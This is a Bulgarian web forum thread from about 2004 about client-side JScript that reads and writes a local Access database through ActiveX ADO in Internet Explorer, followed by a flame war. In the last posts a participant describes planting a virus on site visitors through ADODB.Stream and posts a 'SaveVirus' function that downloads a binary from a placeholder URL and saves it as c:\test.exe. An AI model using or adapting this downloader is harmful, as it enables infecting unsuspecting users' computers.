Client Side JavaScript и бази данни

21 отговора 692 прегледа
#1

Client Side JavaScript и бази данни

Бях любопитен дали може да се ползва ADO в Client Side скрипт като ActiveX
контрола естесвено затова си поиграх малко и стана - естествено работи само под IE - на някой може да му е интересно
скрипта записва и чете записи от една Аксеска базичка - даже понеже
ADODB.Recordset-а си е "signed" - не задава глупави въпроси на потребителя (работи само на клиентския компютър а не върху сървър)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<TITLE>Опит с MS Access база данни</TITLE>
<STYLE type="text/css">
<!--
TABLE {
border: 3px solid blue;
}
TD {
border: 1px solid blue;
}
-->
</STYLE>
<SCRIPT LANGUAGE="javascript" type="text/javascript">
<!--
/*
Напишете тук вашия път до MS Acces-ката база
в която имате създадена таблица "Test" с две
полете - ID - AutoNumber и name - Text
*/
var dbrcd="";
var cString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=c:\\wsh\\db\\test.mdb";
var sql = "SELECT * from Test";
/*
Един единствен ADODB.Recordset обект, connection string
и заявка - стори ми се тъпичко всеки път да се
инстанциират като викна
функцията
22.08.2004
*/

function fillTable()
{
dbrcd = new ActiveXObject("ADODB.Recordset");

dbrcd.Open( sql, cString, 1, 3 );
while(!dbrcd.EOF)
{
/*
Циклим до края на ADODB.Recordset-та
*/
var myNewRow=document.all.records.insertRow(document.all.records.rows.length);
/*
лявата клетка на таблицата ..
*/
var firrstCell=myNewRow.insertCell(myNewRow.cells.length);
firrstCell.innerText=dbrcd.Fields("ID").value;
/*
съответно дясната клетка на таблицата ..

*/ var secondCell=myNewRow.insertCell(myNewRow.cells.length);
secondCell.innerText=dbrcd.Fields("name").value;
dbrcd.movenext();
}


}
function insertToBase()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
/*
Хм инетересно че ADODB.Recordset-а не се запазва инстанцииран
нищо че на onload го инстанциираме във fillTable()
*/
var myvalue=document.getElementById("myvalue");
if(myvalue.value)
{
alert(1);
dbrcd.Open( sql, cString, 1, 3 );
dbrcd.AddNew();
alert(2);
dbrcd.Fields("name").value = myvalue.value;
dbrcd.Update();
dbrcd.Close();
window.location.reload(true);

}else{

alert("Нищо не си въвел в полето! Какво ще добавяш ?");

}

}
//-->
</SCRIPT>
</HEAD>
<BODY onload="fillTable();">
<TABLE id="records" align="center">
<CAPTION>
Записано досега в базата
</CAPTION>
<TR>
<TD>ID на записа</TD><TD>Стойност на записа</TD>
</TR>
</TABLE>
<BR>
<TABLE id="device" align="center">
<CAPTION>
Добавяне на запис в базата
</CAPTION>
<TR>
<TD>Текст за добавяне:</TD>
<TD><INPUT type="text" id="myvalue" name="myvalue"></TD>
</TR>
<TR>
<TD colspan="2"><INPUT type="button" value="Кликни за да запишеш в базата" onclick="insertToBase();"></TD>
</TR>
</TABLE>
</BODY>
</HTML>



Отговор
в отговор на Uchesht #2

Бях забравил ..

Бех забравил да махна "дебъгващите" alert-и ето го "готов"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=windows-1251">
<TITLE>Опит с MS Access база данни</TITLE>
<STYLE type="text/css">
<!--
TABLE {
border: 3px solid blue;
}
TD {
border: 1px solid blue;
}
-->
</STYLE>
<SCRIPT LANGUAGE="javascript" type="text/javascript">
<!--
/*
Напишете тук вашия път до MS Acces-ката база
в която имате създадена таблица "Test" с две
полете - ID - AutoNumber и name - Text
*/
var dbrcd="";
var cString = "Driver={Microsoft Access Driver (*.mdb)};DBQ=c:\\wsh\\db\\test.mdb";
var sql = "SELECT * from Test";
/*
Един единствен ADODB.Recordset обект, connection string
и заявка - стори ми се тъпичко всеки път да се
инстанциират като викна
функцията
22.08.2004
*/

function fillTable()
{
dbrcd = new ActiveXObject("ADODB.Recordset");

dbrcd.Open( sql, cString, 1, 3 );
while(!dbrcd.EOF)
{
/*
Циклим до края на ADODB.Recordset-та
*/
var myNewRow=document.all.records.insertRow(document.all.records.rows.length);
/*
лявата клетка на таблицата ..
*/
var firrstCell=myNewRow.insertCell(myNewRow.cells.length);
firrstCell.innerText=dbrcd.Fields("ID").value;
/*
съответно дясната клетка на таблицата ..

*/ var secondCell=myNewRow.insertCell(myNewRow.cells.length);
secondCell.innerText=dbrcd.Fields("name").value;
dbrcd.movenext();
}


}
function insertToBase()
{
dbrcd = new ActiveXObject("ADODB.Recordset");
/*
Хм инетересно че ADODB.Recordset-а не се запазва инстанцииран
нищо че на onload го инстанциираме във fillTable()
*/
var myvalue=document.getElementById("myvalue");
if(myvalue.value)
{
dbrcd.Open( sql, cString, 1, 3 );
dbrcd.AddNew();
dbrcd.Fields("name").value = myvalue.value;
dbrcd.Update();
dbrcd.Close();
window.location.reload(true);

}else{

alert("Нищо не си въвел в полето! Какво ще добавяш ?");

}

}
//-->
</SCRIPT>
</HEAD>
<BODY onload="fillTable();">
<TABLE id="records" align="center">
<CAPTION>
Записано досега в базата
</CAPTION>
<TR>
<TD>ID на записа</TD><TD>Стойност на записа</TD>
</TR>
</TABLE>
<BR>
<TABLE id="device" align="center">
<CAPTION>
Добавяне на запис в базата
</CAPTION>
<TR>
<TD>Текст за добавяне:</TD>
<TD><INPUT type="text" id="myvalue" name="myvalue"></TD>
</TR>
<TR>
<TD colspan="2"><INPUT type="button" value="Кликни за да запишеш в базата" onclick="insertToBase();"></TD>
</TR>
</TABLE>
</BODY>
</HTML>


Отговор
в отговор на Uchesht #3

Re: Бях забравил ..

ne si gubi vremeto s gluposti

Отговор
в отговор на Pit #4

Re: Бях забравил ..

1. Ако не можеш да си кирилизираш компютъра - земи си плати на някои да свърши това нещо вместо теб.
2. За мен специално това не са глупости ..

Отговор
в отговор на Uchesht #5

Re: Бях забравил ..

a zashto nik'a ti ne e na kirilica a?
egati lapeto, ti li shte mi kajesh kak da pisha
kazvam ti, che tova s acesa sa gluposti,
fani se s neshto po polezno
vij che nikoy ne se interesuva

Отговор
в отговор на Pit #6

Re: Бях забравил ..

Абе що не ходиш да си играеш другаде на стражари и апаши
Ти на колко си години на 16 ли ? Хехе на мене зел лапе да ми вика

Отговор
в отговор на Uchesht #7

Re: Бях забравил ..

na 24, a ti?
Sas sigurnost nqmash 20.

Отговор
в отговор на Pit #8

Re: Бях забравил ..

и за 24 години не си се научил как се пише на кирилица?

Quidquid latine dictum sit, altum sonatur
Отговор
в отговор на vendetta #9

Re: Бях забравил ..

Kirilicata go nauchih otdavna, sega veche si usavarshenstvam latinicata.
neshto protiv?

-------------------------------------------
[линк]
Отговор
в отговор на Pit. #10

Re: Бях забравил ..

Да, що?

Отговор
в отговор на Memo #11

Stipeeeeeeeeeeeeeee !

Stipe една молба - тъй като цялата тема се изроди в безмислени заяждания - моля те да я заключиш или да изтриеш глупостите .. много ти благодаря предварително
С уважение

Отговор
в отговор на Uchesht #12

Re: Stipeeeeeeeeeeeeeee !

В отговор на:

моля те да я заключиш или да изтриеш глупостите ..



nali ti bqh kazal che sa gluposti, ama ti ne me slushash

-------------------------------------------
[линк]
Отговор
в отговор на Pit. #13

Re: Stipeeeeeeeeeeeeeee !

Гррр понеже уважавам някой от хората тук ще ти кажа това което искам да ти кажа по друг начин ..

dick* very_big[_MAX_PATH];
std::vector<.Pit> stupid_man;
stupid_man.fill_mouth(very_big);


Отговор
в отговор на Uchesht #14

Re: Stipeeeeeeeeeeeeeee !

В отговор на:


dick* very_big[_MAX_PATH];
std::vector<.Pit> stupid_man;
stupid_man.fill_mouth(very_big);





> action rejected
> replay back + (repeat x 1000000)



-------------------------------------------
[линк]
Отговор
в отговор на Uchesht #15

Re: Stipeeeeeeeeeeeeeee !

Ами просто не отговаряй на това, което смяташ за глупости и темата ще изглежда като заключена .

Гледам, че си пишеш разни неща ей така "за спорта".
Ако искаш ще ти дам хостинг да си ги публикуваш там.
Знаеш ми icq-то.

Отговор
в отговор на Uchesht #16

Re: Stipeeeeeeeeeeeeeee !

Е, няма нужда да му отговаряш нека си стои темата. На мене ми изглежда любопитно като възможност. Сигурен съм че има хора които би ги ползвало. И какво значение има кой на колко години е!!!?

Отговор
в отговор на Uchesht #17

Предбазливостта ми е основателна.

Аз не давам на IE да вижда Нета. Точно заради тези АктивХъ. Чрез тях той може да върши всичко на компа ми. Ето и ти даваш пример.


Макар, че айудушките сайтове дават достатъчно примери. "сложи си ласт ИЕ и му пусни ДиректХъ, тогава ела." А това е еквивалентно на: "Събуй гащите и се намажи с вазелин"

Другите браузъри са браузъри. Те по идея не могат да служат за шел.

Отговор
в отговор на Caмия Инжинep #18

Абсолютно - ADODB.Stream- много е як

Чрез ADODB.Stream обекта например можем да смъкнем някъв фаил на локалния диск на "жертвата" (респективно вирус) - и да си го стартираме - както ни се разхожда из саита - за интересуващите се може и примерче да сглобя - естевено използването на примера си е на тяхна отговорност .. - аз бих го направил с учебна цел ..

Отговор
в отговор на Uchesht #19

за какво ползвам ИЕ

IE е много мощно нещо, но е идиотизъм да се ползва за браузър. Затова му слагам неверни прокси - адреси, да съм сигурен, че ще работи само локално.

Чрез една 40-тина кила програмка IEEDIT той става на тъп, но лесен WYSIWYG редактор за свалени страници - делвам рекламата и остава само инфото.

Убийствено добър преобразувател на кодировки е - при Сейв може да избереш в каква кодировка да сейвнеш.

=====================================
Ако видя надпис: "този сайт работи само с IE" - аз си го чета "Дирим лековерни наивници". Бях писал на един сайт за уолпейпъри: Абе, копелета, какво ви интересува с какъв браузър си гледам НЕТ-а, след като вие предлагате тапети? - ама не ми отговориха.

още от мен за IE:
[линк]



.

Отговор
в отговор на Caмия Инжинep #20

Re: за какво ползвам ИЕ

Хехе ето една примерна функциика ..

function SaveVirus()
{
/*
Обявяваме си няколко константи необходими за ADODB.Stream
обекта.
*/
var adTypeBinary=new Number(1);
var adSaveCreateOverwrite=new Number(2);
var adModeReadWrite=new Number(3);
/*
Създаваме Microsoft.XMLHTTP - обект - чрез него ще получим
бинарния фаил с вируса ...
*/
var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");
/*
Отваряме конекция към URL-ла с вируса ..
*/
xmlHTTP.open( "GET" , "url-a-deto-e-virusa-zaedno-s-[линк]" , false );
xmlHTTP.send();
/*
Тук получаваме бинарния фаил с вируса ..
*/
content=xmlHTTP.responseBody;
var oStr=new ActiveXObject("ADODB.Stream");
oStr.Mode = adModeReadWrite;
oStr.Type = adTypeBinary;
oStr.Open();
oStr.Write(contents);
/*
Тук го записваме върху клиентския компютър -
"C:\test.exe :)
*/
oStr.SaveToFile("c:\\test.exe", adSaveCreateOverwrite);
}




Отговор